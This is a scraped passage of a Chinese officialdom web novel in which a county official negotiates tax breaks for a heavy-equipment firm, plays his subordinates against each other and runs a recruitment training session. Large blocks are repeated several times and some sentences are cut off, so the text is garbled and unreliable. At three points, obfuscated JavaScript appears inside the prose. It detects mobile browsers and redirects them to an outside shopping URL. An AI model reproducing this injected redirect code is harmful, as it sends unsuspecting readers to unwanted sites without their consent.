排放,能耗,土地。 这三点,是重工业企业最关注的。 省会城市卡的严,这一点,北方重型装备是深有体会。 南陵就是苏原省的省会城市,这些年,在排放和能耗指标上,他们公司没少下工夫,为此也很头疼。 金总最初优先考虑风林产业园区,就是因为这几点。 滨西市发展缓慢,风林县也是贫困县,在产业园区落地之前,几乎没有什么大型企业。 这就意味着,整座滨西市的能耗指标充裕,北方重型装备可以开足马力。 而排放方面,只要不搞出什么高污染,小县城基本就是睁一只眼闭一只眼,不会管。 这种松散的管理,更适合北方重型装备的发展。 “金总,我不是恶意贬低,我是从省里下来的,省里对于汉江产业园区的监管力度,我比您更了解。 那是东江省的产业门面,市领导有时候也身不由己。 或许,刘市长为了招商,可以给您一些特例,但这些东西毕竟不能写在合同里。 刘市长还有一年半卸任,他卸任后,下一任市长未必还会履行。” 李承这番话,不是恶意竞争,也不是危言耸听。 而是现实。 别看,汉江财大气粗,可以给企业一些市补贴。 但汉江产业园区,毕竟是东江省的招牌。 这就意味着,京城的领导来视察,第一站是汉江产业园。 省里去视察,第一站也是汉江产业园。 领导来视察,这些企业就要被迫收紧产能,严格按照标准执行。 那些标准,对于这些重工业来说,就是限制发展的锁! “刘市长有卸任的一天,你也有。”金总吃着菜,淡淡的说。 “风林的情况和规模在那里摆着呢,说难听点,山高皇帝远。 上级领导轻易不会来,县里为了财政收入,巴不得你们把产能提到极点。” 李承微笑道。 高产能,意味着高能耗,高排放。 同时,也代表着企业高收入,政府高税收。 风林县,最缺的就是税收。 比起财政压力,污染,能耗,土地等,连个屁都不是! “李县长,我跟刘市长已经达成了初步共识,很多事情没有你说那么复杂。 这些年在南陵市发展,我们公司也照样发展得很好。 今天请你来,是我看到了你的诚意,也不想让你再浪费时间。” 金总微微摇了摇头。 李承句句说在了他的心坎里,痛点上。 但他还想争取更大的利益,所以,他这是在欲擒故纵,想要争取更多的条件。 “嗯” “毕竟,补贴上,风林县和汉江差很多,那是真金白银。” 正当李承准备退步时,金总抢先一步,打断他的开口。 前面的那句,金总态度明确是拒绝。 而后面补充的这句,却是谈判。 李承很快意识到,他与刘宝林达成共识是虚,想要更大的优惠政策,才是真。 李承放下筷子,点燃了一根香烟。 开始思考。 土地租赁费减免政策,对于北方重型装备来说,只是小钱。 大头在税收。 三年,地方税减免七成,是省里定下来的政策。 但并不代表这个政策是固定的。 地方税,由地方进行支配,很多地方为了拉拢企业,提高减税标准是常态。 李承在思考,要不要给金总提高这个标准。 金总已经暗示了。 如果不给他一些好处,那就是不给对方面子,很可能对方就去跟汉江合作了。 最起码,要给一个台阶下。 而且,招商这种市值三十亿的大集团,优惠政策就要比那些几个亿的企业高。 这是潜规则。 但是,这不是他一个人能做足的,需要县政府的同意。 陈红旗可能答应吗? 不可能! 但李承刚刚已经把牛皮吹出去了,说产业园区他能做主,他必须还要维护这种形象。 “金总,三年减 免七成,是招商统一的标准,不过,我能给您延期一年,怎么样?” 李承弹了弹烟灰,看向金总,说。 这已经是李承能给他做出的最大让步,想要实现这一延期承诺,李承需要费很多的脑筋,冒一定的风险。 但只要能把北方重型装备招商过来,一切也值得。 这是一颗摇钱树! “李县长,我们做生意的人,不喜欢四。” 金总摇了摇头,伸手亮出五根手指,继续加码:“五年,五年减免七成,我明天去跟董事长汇报。” “金总,这可不是小数目,一年就差了几千万的税收,四年已经是史无前例了。” 李承再次吸了一口烟,眼神坚定。 “四字,不好听啊,我们董事长最讨厌的,就是四。”金总露出一个老狐狸的笑容,仿佛是吃定李承。 在他看来,是李承求着他入驻,他才是主导者。 李承并没有第一时间回答他。 气氛也陷入了短暂的沉默。 李承吸完最后一口烟,掐灭香烟后,再次拿起筷子吃了一口菜。 这是一场心理战。 李承在用慢条斯理的动作,让金总对他的想法捉摸不透。 也是侧面给金总施加一些压力,用时间的拖延,去降低对方的高预期。 “五年可以,但我只能给您到减免六成,金总,这是我最后的底线。 您应该清楚,这个政策,风林县任何人都给不出。”李承严肃的说。 五年减免六成,和四年减免七成来说,五年合适一些。 但两者的差距,没有太多。 金总盯着李承的眼睛,双方眼神交锋了四五秒钟后,金总移开目光,他知道,李承不会再抬价了。 “嗯行,那我考虑考虑。” 免七成,是招商统一的标准,不过,我能给您延期一年,怎么样?” 李承弹了弹烟灰,看向金总,说。 这已经是李承能给他做出的最大让步,想要实现这一延期承诺,李承需要费很多的脑筋,冒一定的风险。 但只要能把北方重型装备招商过来,一切也值得。 这是一颗摇钱树! “李县长,我们做生意的人,不喜欢四。” 金总摇了摇头,伸手亮出五根手指,继续加码:“五年,五年减免七成,我明天去跟董事长汇报。” “金总,这可不是小数目,一年就差了几千万的税收,四年已经是史无前例了。” 李承再次吸了一口烟,眼神坚定。 “四字,不好听啊,我们董事长最讨厌的,就是四。”金总露出一个老狐狸的笑容,仿佛是吃定李承。 在他看来,是李承求着他入驻,他才是主导者。 李承并没有第一时间回答他。 气氛也陷入了短暂的沉默。 李承吸完最后一口烟,掐灭香烟后,再次拿起筷子吃了一口菜。 这是一场心理战。 李承在用慢条斯理的动作,让金总对他的想法捉摸不透。 也是侧面给金总施加一些压力,用时间的拖延,去降低对方的高预期。 “五年可以,但我只能给您到减免六成,金总,这是我最后的底线。 您应该清楚,这个政策,风林县任何人都给不出。”李承严肃的说。 五年减免六成,和四年减免七成来说,五年合适一些。 但两者的差距,没有太多。 金总盯着李承的眼睛,双方眼神交锋了四五秒钟后,金总移开目光,他知道,李承不会再抬价了。 “嗯行,那我考虑考虑。” 免七成,是招商统一的标准,不过,我能给您延期一年,怎么样?” 李承弹了弹烟灰,看向金总,说。 这已经是李承能给他做出的最大让步,想要实现这一延期承诺,李承需要费很多的脑筋,冒一定的风险。 但只要能把北方重型装备招商过来,一切也值得。 这是一颗摇钱树! “李县长,我们做生意的人,不喜欢四。” 金总摇了摇头,伸手亮出五根手指,继续加码:“五年,五年减免七成,我明天去跟董事长汇报。” “金总,这可不是小数目,一年就差了几千万的税收,四年已经是史无前例了。” 李承再次吸了一口烟,眼神坚定。 “四字,不好听啊,我们董事长最讨厌的,就是四。”金总露出一个老狐狸的笑容,仿佛是吃定李承。 在他看来,是李承求着他入驻,他才是主导者。 李承并没有第一时间回答他。 气氛也陷入了短暂的沉默。 李承吸完最后一口烟,掐灭香烟后,再次拿起筷子吃了一口菜。 这是一场心理战。 李承在用慢条斯理的动作,让金总对他的想法捉摸不透。 也是侧面给金总施加一些压力,用时间的拖延,去降低对方的高预期。 “五年可以,但我只能给您到减免六成,金总,这是我最后的底线。 您应该清楚,这个政策,风林县任何人都给不出。”李承严肃的说。 五年减免六成,和四年减免七成来说,五年合适一些。 但两者的差距,没有太多。 金总盯着李承的眼睛,双方眼神交锋了四五秒钟后,金总移开目光,他知道,李承不会再抬价了。 “嗯行,那我考虑考虑。” 免七成,是招商统一的标准,不过,我能给您延期一年,怎么样?” 李承弹了弹烟灰,看向金总,说。 这已经是李承能给他做出的最大让步,想要实现这一延期承诺,李承需要费很多的脑筋,冒一定的风险。 但只要能把北方重型装备招商过来,一切也值得。 这是一颗摇钱树! “李县长,我们做生意的人,不喜欢四。” 金总摇了摇头,伸手亮出五根手指,继续加码:“五年,五年减免七成,我明天去跟董事长汇报。” “金总,这可不是小数目,一年就差了几千万的税收,四年已经是史无前例了。” 李承再次吸了一口烟,眼神坚定。 “四字,不好听啊,我们董事长最讨厌的,就是四。”金总露出一个老狐狸的笑容,仿佛是吃定李承。 在他看来,是李承求着他入驻,他才是主导者。 李承并没有第一时间回答他。 气氛也陷入了短暂的沉默。 李承吸完最后一口烟,掐灭香烟后,再次拿起筷子吃了一口菜。 这是一场心理战。 李承在用慢条斯理的动作,让金总对他的想法捉摸不透。 也是侧面给金总施加一些压力,用时间的拖延,去降低对方的高预期。 “五年可以,但我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17348328|196294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只能给您到减免六成,金总,这是我最后的底线。 您应该清楚,这个政策,风林县任何人都给不出。”李承严肃的说。 五年减免六成,和四年减免七成来说,五年合适一些。 但两者的差距,没有太多。 金总盯着李承的眼睛,双方眼神交锋了四五秒钟后,金总移开目光,他知道,李承不会再抬价了。 “嗯行,那我考虑考虑。” 免七成,是招商统一的标准,不过,我能给您延期一年,怎么样?” 李承弹了弹烟灰,看向金总,说。 这已经是李承能给他做出的最大让步,想要实现这一延期承诺,李承需要费很多的脑筋,冒一定的风险。 但只要能把北方重型装备招商过来,一切也值得。 这是一颗摇钱树! “李县长,我们做生意的人,不喜欢四。” 金总摇了摇头,伸手亮出五根手指,继续加码:“五年,五年减免七成,我明天去跟董事长汇报。” “金总,这可不是小数目,一年就差了几千万的税收,四年已经是史无前例了。” 李承再次吸了一口烟,眼神坚定。 “四字,不好听啊,我们董事长最讨厌的,就是四。”金总露出一个老狐狸的笑容,仿佛是吃定李承。 在他看来,是李承求着他入驻,他才是主导者。 李承并没有第一时间回答他。 气氛也陷入了短暂的沉默。 李承吸完最后一口烟,掐灭香烟后,再次拿起筷子吃了一口菜。 这是一场心理战。 李承在用慢条斯理的动作,让金总对他的想法捉摸不透。 也是侧面给金总施加一些压力,用时间的拖延,去降低对方的高预期。 “五年可以,但我只能给您到减免六成,金总,这是我最后的底线。 您应该清楚,这个政策,风林县任何人都给不出。”李承严肃的说。 五年减免六成,和四年减免七成来说,五年合适一些。 但两者的差距,没有太多。 金总盯着李承的眼睛,双方眼神交锋了四五秒钟后,金总移开目光,他知道,李承不会再抬价了。 “嗯行,那我考虑考虑。” 免七成,是招商统一的标准,不过,我能给您延期一年,怎么样?” 李承弹了弹烟灰,看向金总,说。 这已经是李承能给他做出的最大让步,想要实现这一延期承诺,李承需要费很多的脑筋,冒一定的风险。 但只要能把北方重型装备招商过来,一切也值得。 这是一颗摇钱树! “李县长,我们做生意的人,不喜欢四。” 金总摇了摇头,伸手亮出五根手指,继续加码:“五年,五年减免七成,我明天去跟董事长汇报。” “金总,这可不是小数目,一年就差了几千万的税收,四年已经是史无前例了。” 李承再次吸了一口烟,眼神坚定。 “四字,不好听啊,我们董事长最讨厌的,就是四。”金总露出一个老狐狸的笑容,仿佛是吃定李承。 在他看来,是李承求着他入驻,他才是主导者。 李承并没有第一时间回答他。 气氛也陷入了短暂的沉默。 李承吸完最后一口烟,掐灭香烟后,再次拿起筷子吃了一口菜。 这是一场心理战。 李承在用慢条斯理的动作,让金总对他的想法捉摸不透。 也是侧面给金总施加一些压力,用时间的拖延,去降低对方的高预期。 “五年可以,但我只能给您到减免六成,金总,这是我最后的底线。 您应该清楚,这个政策,风林县任何人都给不出。”李承严肃的说。 五年减免六成,和四年减免七成来说,五年合适一些。 但两者的差距,没有太多。 金总盯着李承的眼睛,双方眼神交锋了四五秒钟后,金总移开目光,他知道,李承不会再抬价了。 “嗯行,那我考虑考虑。” 免七成,是招商统一的标准,不过,我能给您延期一年,怎么样?” 李承弹了弹烟灰,看向金总,说。 这已经是李承能给他做出的最大让步,想要实现这一延期承诺,李承需要费很多的脑筋,冒一定的风险。 但只要能把北方重型装备招商过来,一切也值得。 这是一颗摇钱树! “李县长,我们做生意的人,不喜欢四。” 金总摇了摇头,伸手亮出五根手指,继续加码:“五年,五年减免七成,我明天去跟董事长汇报。” “金总,这可不是小数目,一年就差了几千万的税收,四年已经是史无前例了。” 李承再次吸了一口烟,眼神坚定。 “四字,不好听啊,我们董事长最讨厌的,就是四。”金总露出一个老狐狸的笑容,仿佛是吃定李承。 在他看来,是李承求着他入驻,他才是主导者。 李承并没有第一时间回答他。 气氛也陷入了短暂的沉默。 李承吸完最后一口烟,掐灭香烟后,再次拿起筷子吃了一口菜。 这是一场心理战。 李承在用慢条斯理的动作,让金总对他的想法捉摸不透。 也是侧面给金总施加一些压力,用时间的拖延,去降低对方的高预期。 “五年可以,但我只能给您到减免六成,金总,这是我最后的底线。 您应该清楚,这个政策,风林县任何人都给不出。”李承严肃的说。 五年减免六成,和四年减免七成来说,五年合适一些。 但两者的差距,没有太多。 金总盯着李承的眼睛,双方眼神交锋了四五秒钟后,金总移开目光,他知道,李承不会再抬价了。 “嗯行,那我考虑考虑。” 第367章 均衡 ‘咚咚咚’ 次日上午李承研究着培训内容时办公室门被敲响。 “进。” 得到李承的许可房门推开王旭走了进来。 “李县长我有一件事情要跟您汇报。” 王旭一脸愤愤不平气冲冲地来到了李承面前。 “王主任大早上的怎么这么大火气?” 李承微微一笑拿出香烟递给了一根给对方。 “我不抽了气都气冒烟了。” 王旭摆手拒绝了李承的香烟拉开椅子坐在李承对面:“这个汪莱现在是越来越不服管了李县长我建议你好好批评教育一番!” “怎么了?” 李承将香烟叼在嘴上点燃轻飘飘地问。 “刘家村的道路问题呗县政府已经跟村民代表们达成了共识施工方也准备进行施工了。 结果你猜怎么着?” 王旭表情愤懑喘了一口大气:“他他妈的跑过去死活不让施工方修路动土。 村民都不拦了他去拦这不就是故意拖延工期阻碍工程进度吗!” “汪莱同志不是那么没分寸的人他阻碍修路应该有他的理由。” 李承吸了一口烟 其实这件事李承是知情的。 当初李承与旗胜闹得不可开交陈红胜为了给李承添麻烦特意联系了刘家村的陈老六给了对方一定的好处让陈老六带人阻碍修路。 李承并没有妥协停了工。 并向村民代表传达了一个坚决的态度谈不拢就绕路修给赔偿。 李承的强硬动摇了村民们阻碍的信心比起陈红胜那点微弱好处修路补偿才是重头戏。 谁都不想损失这一补偿。 村民们动摇了外加李承卡着工程尾款不放陈红旗又被洪明德施压。 各方原因的综合下刘家村的修路可以恢复正常运转。 汪莱阻碍开工。 实际上是有李承的暗示在。 因为补贴协议还没有正式跟刘家村签署补偿款县政府也没有给管委会拨款。 万一开工之后村民们再阻拦麻烦太大. “他有什么分寸他揪着死理不放说是补偿协议还没签就不让修怕引发群体性事件。 这件事县政府都出面摆平了林书记那边也点头了。 他拿着鸡毛当令箭气死我了!” 王旭怒声抱怨看那 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 架势都有想动手打汪莱一顿的心。 “王主任消消气他是为了保稳定你是为了保进度都是为了园区的发展考虑互相理解一下。” 保稳定和保进度在这种事情上就是天然的对立面但谁也没有错。 这种对立面的形成是李承暗中推动下的结果。 目的就是激化他们两个人的分歧。 而李承就要从中协调均衡。 “这样我一会儿找他好好谈一谈你呢也别太动气身体是自己的。” 李承笑呵呵地安抚着王旭的情绪。 “行你跟他好好说一说太一根筋了而且分不清谁是大小王!” 王旭从椅子上站起身跟李承告辞:“那我就先回去了。” “嗯。” 李承点头看着王旭转身离开李承拿起办公桌上的电话打给了戚瑶。 让她去通知汪莱到办公室。 二十分钟后在戚瑶的通知下汪莱赶到办公室。 “过来了。” 看着汪莱进门李承表情严肃。 “嗯李县长。” 看到李承这个表情汪莱心情有些沉重。 李承并没有直接告诉他去阻碍施工。 这一点是他自己揣测李承的心思他看李承如此严肃以为是自己办错了事儿。 “知道为什么叫你过来吗?”李承问。 “知道跟刘家村的修路有关系。”汪莱站在李承面前半低着头说。 “刚才王旭找到了我他非常愤怒地批评了你说你阻碍了园区的发展目无领导!” 李承表情仍是严肃的。 “李县长我也是怕再出现群体性事件上次陈老六带人阻碍修路的事情还历历在目 汪莱焦急地解释道。 “我说你做错了吗?” 李承看着汪莱那副认错的样子笑了。 “啊?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17353802|196294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 李承态度突然的转变让汪莱有些懵。 “傻站着干什么?没椅子吗?”李承笑呵呵地给他丢了一支烟过去。 汪莱接过香烟坐在李承的对面。 到现在他没有领会到李承的真实意图。 “这件事你做得很好进度的前提是保障没了保障再快的进度也没用。 刘家村的路在县政府拨款之前不能动明白了吗?”李承说。 “明白!” 听说看这本书的人都是很幸运的,分享后你的运气会更棒 汪莱脸上挂起笑容,他知道,李承这是对他工作的认可。 “道路质量,一定要给我抓好了。”李承认真叮嘱。 “您放心,绝对不可能再出现偷工减料的情况,别说是陈红胜,就是天王老子的公司,只要质量不过关,也得返工!” 汪莱笑嘻嘻地点燃香烟,咬碎了爆珠。 “嗯。”李承点头。 “李县长,这个石斛的爆珠,是不是抽起来养生呀,味道还挺好闻呢。” 汪莱吸了一口烟,他觉得,石斛是中草药,就能养生。 听到这话,李承被逗笑了:“汪莱,你是在这跟我玩幽默呢吗? 什么爆珠也是烟,是烟就有害。” “呵呵呵我以为中药的,就能抵消掉吸烟的危害呢。”汪莱吸了一口,尴尬地说。 “不抽就没害。” 吸烟的危害,李承深知。 他以前很少抽烟,可随着压力越来越大,工作越发越复杂,他的烟也逐渐频繁了起来。 ‘铃铃铃’ 两个人聊天时,办公室的电话响了起来。 “县长,没其他事情,那我就先回去了。”汪莱试探地说。 “嗯。” 李承点了点头,拿起座机话筒:“喂,哪位?” “李县长,我是县公安局的刘志。”对方自我介绍。 “哦,刘局长呀。” 李承知道,对方给自己打这通电话,是汇报关于乔队的问题。 “我给您打电话,是跟您做个汇报,关于乔国庆同志的失职,我们局里已经严肃处理了。” 第368章 培训会 “哦,怎么处理的?李承淡淡的问。 “记过,并严肃批评,撤掉了他凭先进的资格。刘志汇报道。 “知道了。 李承应了一声,对于一个治安大队的副队长,他并不感兴趣。 “李县长,您今天晚上有时间吗?局里的领导层,都想跟您请教请教经验。 请教经验只是他们想宴请李承,找的一个合理借口。 “今晚不行,改天吧。李承婉拒了他,今晚,李承的确有约。 “明天呢? “明天我要去南陵。 自从许梦来到风林县,李承也没抽出时间好好的陪过她。 明天周末,李承答应许梦去南陵逛一逛。 比起跟刘志他们吃官宴,说官话,李承更喜欢陪着许梦。 至少,很轻松。 何况,以李承的身份,以及他的行事风格,没有必要向下兼容。 任何事情,公事公办就好。 李承也没什么私事去麻烦他们。 就算有,到时候再结交也来得及。 有些人值得提前结交,去铺路,已备不时之需。 有些人,临时用,临时交就来得及。 交际这种事,也是要灵活运用的。 “那行,我们等您的时间。 刘志笑着客气一句,挂断了电话。 下午。 李承和林青召开了一场培训会。 所有被李承列举在名单中的人员,全部到场。 “招商,已经是产业园区迫在眉睫的重中之重,为了提高招商效率。 我和李主任一致决定,将你们这些人,分为七个招商工作小组,去南陵市进行企业谈判。 会后,我会把小组名单给到你们,以及每个小组,负责去哪些企业谈判,都会给到你们。 林青作为党工委书记,负责主持会议。 她目光犀利的看着在座所有人,朗声继续说:“七个小组中,覆盖了招商、发改、建设、规划、财政、环保以及管委办七个部门。 我可以很明确的告诉大家,这是你们所有人的一次机会,一个公平公正的机会! 七个部门中,招商部门作为主谈,管委会拿出两个晋升名额,给表现优异的同志! 其余六个部门,每个部门也有一个晋升名额。 而且,哪个小组完成的业绩最好,除了额外晋升名额外,还有团队外出考察学习的机会作为奖励,我们会优先去环境好 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 的城市考察,大家明白我的意思吧。” 林青将奖励机制,告诉给了所有人。 这个奖励机制,在李承和林青的商量下,又增加了第一团队额外名额晋升奖,以及外出考察学习。 所谓的外出考察学习,只是一个旗号。 林青那句‘优先去环境好的城市’就是在暗示所有人,这不是考察学习,而是公款旅游。 只不过,不用直接以‘招商有功’为理由,直接公款安排旅游行程,这不合规矩。 只要稍微变通一下,旅游为主,考察为辅,就可以光明正大的出去,且不违规。 “管委会为了招商,可以说是下了血本,你们呢,也一定要好好珍惜这次机会! 但我也把丑话说在前面,管委会已经给出了这么丰厚的晋升机会,若是还有人不配合,阻碍招商的脚步,给团队拖后腿,那就是给我上眼药! 对于这样的同志,不仅要清出招商小组,还要清出管委会! 至于离开管委会,这类不服从组织的同志去哪里,我心里也有了方向。 那就是下村,去各个村子体会乡土民情,去接触大自然!” 林青语气严肃,说话时,手不停拍着桌子。 气场十足。 都说,林县长是风林县出了名的‘火药桶’。 今天看到林青开大会,李承也算是有所体会。 即便是一个告知规则,她的态度里,都带着浓郁的威胁和火药气! “都听清楚了吗?” 林青目光环视众人,严厉的问。 “听清楚了。” “明白了。” “.” 在林青的询问下,所有人给出回答。 “都没吃饭吗?大点声!”林青敲了敲桌子,道。 “清楚了!” 大家提高音调,回答。 “嗯,接下来让李主任给你们进行招商培训,掌声欢迎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17353803|196294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' !” 林青率先鼓起掌,在她的带动下,掌声雷动。 李承走到会议室的中央,站在黑板前,双手虚压。 掌声也随之消失。 “我发现,我们管委会中,很多人还没有领悟到招商的真正意义。 甚至没有摆清楚自己的位置,自负的认为,企业能入驻到我们园区中,就是我们的下属单位,是他们的荣幸。 他们需要上赶着来找我们,而我们作为政府机关,能够主动去找他们,是给了他们天大的面子! 这种想法,是严重的 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 误区,是错误理念!” 李承先要纠正他们的错误认知。 他们大部分人的认知,都受到了陈红旗理念的影响。 认为那些企业,非风林县不可。 那些企业,应该上赶着到风林县来,因为南陵的环保标准收紧,企业们别无选择。 “我先明确一点,招商,就跟推销,跟卖保险,卖房子没有区别。 优惠企业的同时,我们同样得到了利益。 你们要知道,不是企业需要我们,而是我们风林县的发展,需要这些企业的支持! 所以,你们在跟企业谈判时,要明确自己的位置。 风林县产业园区或许是他们的最佳选择,但绝不是唯一选择!” 李承严肃的道。 他的目光,在每一张脸上快速看过,看到他们点头,认可后,继续说: “但是,推销不代表胡言乱语,更不是为达目的的满嘴胡诌。 就像房产中介一样,优秀的中介,不是去推销那种利润最高的房子,而是为客户找到最合适的房子。 这样才能在达成合作的同时,维护住自己的口碑。 所以,我们必须要站在企业的角度,去为他们设身处地的着想,去帮他们分析,哪个产业园区更适合他们的发展。 有更合适他们发展的园区,我们不强求,也强求不了。 但如果我们的产业园区,最适合他们,你们也要尽最大的努力,哪怕是磨破嘴皮,也要给他们争取过来。 在为园区负责的同时,我们更要为每一位企业负责!” 第369章 徐淼 “你们作为招商团队的骨干成员,尤其是负责主谈的招商局同志们。 更要做出努力,去深刻的了解每一位你们要去谈的企业,了解这个企业的发展方向,了解他们的经营状况,税收情况,以及企业的痛点。 除此之外,也要了解哪些园区正在对他们进行争取,去了解那些园区的资料和情况,做出最详细的分析。 我们要用数据,作为谈判的标准,用优势,作为谈判的筹码。 我问一下你们,现在横河产业园区给企业的政策,你们知道吗?” 李承目光看向众人,询问道。 “我知道。” 听到李承的提问,一个二十七八岁的女人举起手。 能回答李承的提问,这是一个在领导面前展现自己的机会,有上进心的同志,都想抓住这个机会。 “横河镇的最新政策是,土地减免二十年,地方税减免九成,五年期限。” 女人见李承目光转移到她身上后,她站起身,回答道。 “嗯,很好。” 李承点了点头,问她:“我们就以原林装饰为例,它的每年税收是一千万。 他现在意向是横河镇,你会怎么谈?” “我会跟他们算明白数据,再去针对他们的痛点,以及我县的优势,去谈。” 女人回答道。 “具体说一说。”李承道。 他就像是一个老师,在教导一群学生。 直接的讲述,不会给他们留下最深刻的印象。 只有通过举例示范,从模拟谈判中,这群人才能摸索出真谛。 “一年一千万的税收,分到地方大概是四百三十万左右,风林县的政策,总共返给企业的地方税总额是九百万左右。 而根据横河镇的政策,他总计返给企业的税,是一千九百万左右。 算上相差十年的土地减免,横河的政策,比风林县要差出一千二百余万。 这个数字差距确实很大。 但企业是要看长远发展的,横河镇只有政策优势,却是发展洼地。 像原林装饰,他们的主要客户都在北方地区,从运输成本,以及” 接下来,女人开始滔滔不绝的讲述起她的分析。 这其中,有她对企业的深度了解。 也有一定现学现卖的成分。 因为,当初李承去华宇合金新材料谈判时,她就在场,也跟李承学习到了经验。 而李承需要的,就是这种现学现卖的 本事。 “李主任,我讲完了,不知道说得对不对。”女人冲李承温柔一笑,说。 “你叫什么名字?”李承问。 “主任,我叫徐淼。”女人说。 “嗯。” 李承记住了这个名字。 她主动回答李承的问题,回答的还很让李承满意,这就是她把握的机会。 至少,李承提前认识了她,到时候有晋升机会,若是她的表现优异,没有什么过错,李承会优先考虑她。 这是她的加分项。 “徐淼同志做出的回答,就很通透,她站在了企业的角度,抓住了企业的痛点和发展方向,以此为引,把我们县的优势展现出来。 在这种长远规划中,横河与风林的千万税收优势,也就显得很渺小了” 李承对徐淼表示了高度认可。 接下来,李承又做了一个案例分析。 并深度培训了他们,风林产业园区的各项优势。 以及面对各种情况下的应对之策! 这场培训,一直从下午一点半,开到了五点才结束。 晚上,李承回到了县政府,跟崔学文一同下班。 洪明德想见李承。 对于这位老书记的邀约,李承已经放了一次鸽子,总不能等着对方再次邀请自己。 所以,见完金总后,李承就跟崔学文约了时间。 去别人家串门,不能空手,这是最基本的礼仪。 去之前,李承让崔学文等了他一会儿,他去买了些礼品。 在崔学文的带领下,两人来到了洪明德的小院。 “老领导,李县长过来了。” 进入院子,崔学文跟正在院子里修剪花草洪明德介绍道。 洪明德放下手中的剪刀,直起腰,看向李承。 “洪老书记,上次抱歉,我去南陵谈招商了。” 李承向对方解释了自己爽约的原因:“我来风林后,就一直想拜访您,也是没有合适的机会。” 李承态度客气,脸上带着温和的笑容。 “呵呵呵小崔跟我解释过,你是产业园区的领头人,忙一些很正常的。” 洪明德一改往日的严肃,笑容亲切:“进屋。” 洪明德对待那些老下属们,向来是不苟言笑。 但李承不同。 李承的背景够大,他对待李承的态度,不是对待一个副县长的态度。 而是面对省长秘书时的态度。 他跟陈红 旗不一样,他见过大世面,心中对李承这种干部,有敬畏之心。 跟着洪明德进入客厅,李承将礼品放在桌子上后,坐在客厅沙发。 “去谈得顺利吗?” 洪明德亲自给李承倒了一杯茶,问。 “还算顺利,跟金总的初步共识达成,就看董事们的意见。”李承道。 “北方重型装备是南陵的纳税大户,招商的难度大,想要让他们入驻的园区会很多。 能达成初步共识已经很不容易了。” 洪明德这番话,是对李承的认可。 “有陈县长的搅合,李县长还能谈出共识,这能力的确让人刮目相看啊,哈哈哈.” 崔学文在旁边插话道。 他特意点名了陈红旗,还着重用了‘搅合’二字! 他要得到洪明德的支持,就需要让对方在心里不再认可陈红旗。 这句话里,不是对李承的赞许,是带着他的政治意图。 “他又搅合什么了?”洪明德端着茶杯的手顿了一下,问。 “让李县长跟您说吧。” 崔学文摆了摆手,摆出一副无奈的模样。 看似随意,实则是要借李承的嘴,达到他的目的。 “政策理念不同而已。” 李承知道崔学文想让他说什么,但李承选择装傻充愣。 他不知道洪明德对陈红旗是什么态度,关系如何。 所以不能妄加评论,去得罪人。 旗不一样,他见过大世面,心中对李承这种干部,有敬畏之心。 跟着洪明德进入客厅,李承将礼品放在桌子上后,坐在客厅沙发。 “去谈得顺利吗?” 洪明德亲自给李承倒了一杯茶,问。 “还算顺利,跟金总的初步共识达成,就看董事们的意见。”李承道。 “北方重型装备是南陵的纳税大户,招商的难度大,想要让他们入驻的园区会很多。 能达成初步共识已经很不容易了。” 洪明德这番话,是对李承的认可。 “有陈县长的搅合,李县长还能谈出共识,这能力的确让人刮目相看啊,哈哈哈.” 崔学文在旁边插话道。 他特意点名了陈红旗,还着重用了‘搅合’二字! 他要得到洪明德的支持,就需要让对方在心里不再认可陈红旗。 这句话里,不是对李承的赞许,是带着他的政治意图。 “他又搅合什么了?”洪明德端着茶杯的手顿了一下,问。 “让李县长跟您说吧。” 崔学文摆了摆手,摆出一副无奈的模样。 看似随意,实则是要借李承的嘴,达到他的目的。 “政策理念不同而已。” 李承知道崔学文想让他说什么,但李承选择装傻充愣。 他不知道洪明德对陈红旗是什么态度,关系如何。 所以不能妄加评论,去得罪人。 旗不一样,他见过大世面,心中对李承这种干部,有敬畏之心。 跟着洪明德进入客厅,李承将礼品放在桌子上后,坐在客厅沙发。 “去谈得顺利吗?” 洪明德亲自给李承倒了一杯茶,问。 “还算顺利,跟金总的初步共识达成,就看董事们的意见。”李承道。 “北方重型装备是南陵的纳税大户,招商的难度大,想要让他们入驻的园区会很多。 能达成初步共识已经很不容易了。” 洪明德这番话,是对李承的认可。 “有陈县长的搅合,李县长还能谈出共识,这能力的确让人刮目相看啊,哈哈哈.” 崔学文在旁边插话道。 他特意点名了陈红旗,还着重用了‘搅合’二字! 他要得到洪明德的支持,就需要让对方在心里不再认可陈红旗。 这句话里,不是对李承的赞许,是带着他的政治意图。 “他又搅合什么了?”洪明德端着茶杯的手顿了一下,问。 “让李县长跟您说吧。” 